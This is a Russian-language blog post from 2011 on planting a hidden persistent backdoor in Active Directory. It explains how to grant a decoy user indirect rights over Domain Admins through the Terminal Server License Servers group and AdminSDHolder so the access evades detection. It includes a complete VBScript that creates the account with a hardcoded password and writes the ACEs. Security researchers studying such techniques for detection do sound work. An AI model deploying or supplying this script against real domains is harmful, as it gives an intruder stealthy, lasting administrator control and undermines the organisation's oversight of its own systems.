Страницы

понедельник, 28 февраля 2011 г.

Backdoor в Active Directory

В свое время, менее года назад, на хабре мелькала публикация с аналогичным заголовком. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера для размещения "скрытой" учетной записи, служебное хранилище "Program data" в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к "спрятанной" учетной записи. Однако, несмотря на заверения автора, обнаружение "скрытой" учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов.

Т.е. предложенный подход на практике будет не работоспособен. Но, может быть, существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))?

Как говорил один известный писатель детективных романов:
- Где лучше всего спрятать лист?
- В осеннем лесу!
- Где лучше всего спрятать камень?
- На морском берегу!
- А где лучше всего спрятать труп?
- На поле сражения.

Проводя параллель с каталогом домена можно придерживаться следующей стратегии:

- Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись.

- Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже.




- Не совсем разумно "светить" идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход – расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа "Builtin\Terminal Server License Servers":



Итак, для эффективного создания бэкдора по описанному выше сценарию требуется:

1. Завести неприметного пользователя;
2. Разрешить этому пользователю изменять список участников группы "Builtin\Terminal Server License Servers";
3. Разрешить группе "Builtin\Terminal Server License Servers" изменять список участников группы, например, "Domain Admins".

Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы "Domain Admins" не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [2]), в их числе:

- Enterprise Admins
- Schema Admins
- Domain Admins
- Administrators
- Domain Controllers
- Cert Publishers
- Backup Operators
- Replicator Server Operators
- Account Operators
- Print Operators

Для того, чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте "CN=AdminSDHolder,CN=System, ", либо установить атрибут "adminCount" в ноль для требуемого объекта [3]. Перезаписать шаблонный список контроля доступа видится мне более перспективным, так как не каждый администратор знаком с подобным "защитным" механизмом Active Director.

Для автоматизации "закладки" в Active Directory может использоваться сценарий, который приведен ниже.

view plaincopy to clipboardprint?
1. On Error Resume Next
2.
3. username = "PT"
4. password = "P@ssw0rd"
5. userDN = "cn=Users"
6.
7. joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
8. joinGroup = "BUILTIN\Terminal Server License Servers"
9.
10. adminsGroup = "CN=Domain Admins,CN=Users"
11.
12. Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
13. Set objSysInfo = CreateObject("ADSystemInfo")
14. strUserDN = objSysInfo.userName
15. Set objUser = GetObject("LDAP://" & strUserDN)
16.
17. Set objRoot = GetObject("LDAP://rootDSE")
18. Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))
19.
20. Set objUserCreate = objContainer.Create("User", "cn=" & username)
21. objUserCreate.Put "sAMAccountName", username
22. objUserCreate.SetInfo
23. On Error Resume Next
24.
25. objUserCreate.SetPassword password
26. objUserCreate.Put "userAccountControl", 66048
27. objUserCreate.SetInfo
28. On Error Resume Next
29.
30. GroupAddAce joinGroupDN,username
31. GroupAddAce adminsGroup,joinGroup
32. GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup
33.
34. Function GroupAddAce(toGroup,forGroup)
35. Dim objSdUtil, objSD, objDACL, objAce
36. Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))
37.
38. Set objSdUtil = GetObject(objGroup.ADsPath)
39. Set objSD = objSdUtil.Get("ntSecurityDescriptor")
40. Set objDACL = objSD.DiscretionaryACL
41. Set objAce = CreateObject("AccessControlEntry")
42.
43. objAce.Trustee = forGroup
44. objAce.AceFlags = 0
45. objAce.AceType = 5
46. objAce.AccessMask = 32
47. objAce.Flags = 1
48. objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
49. objDacl.AddAce objAce
50.
51. objSD.DiscretionaryAcl = objDacl
52. objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
53. objSDUtil.SetInfo
54.
55। End Function



Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А, развивая идею, можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.

Автор: Дмитрий Евтеев

Комментариев нет:

Отправить комментарий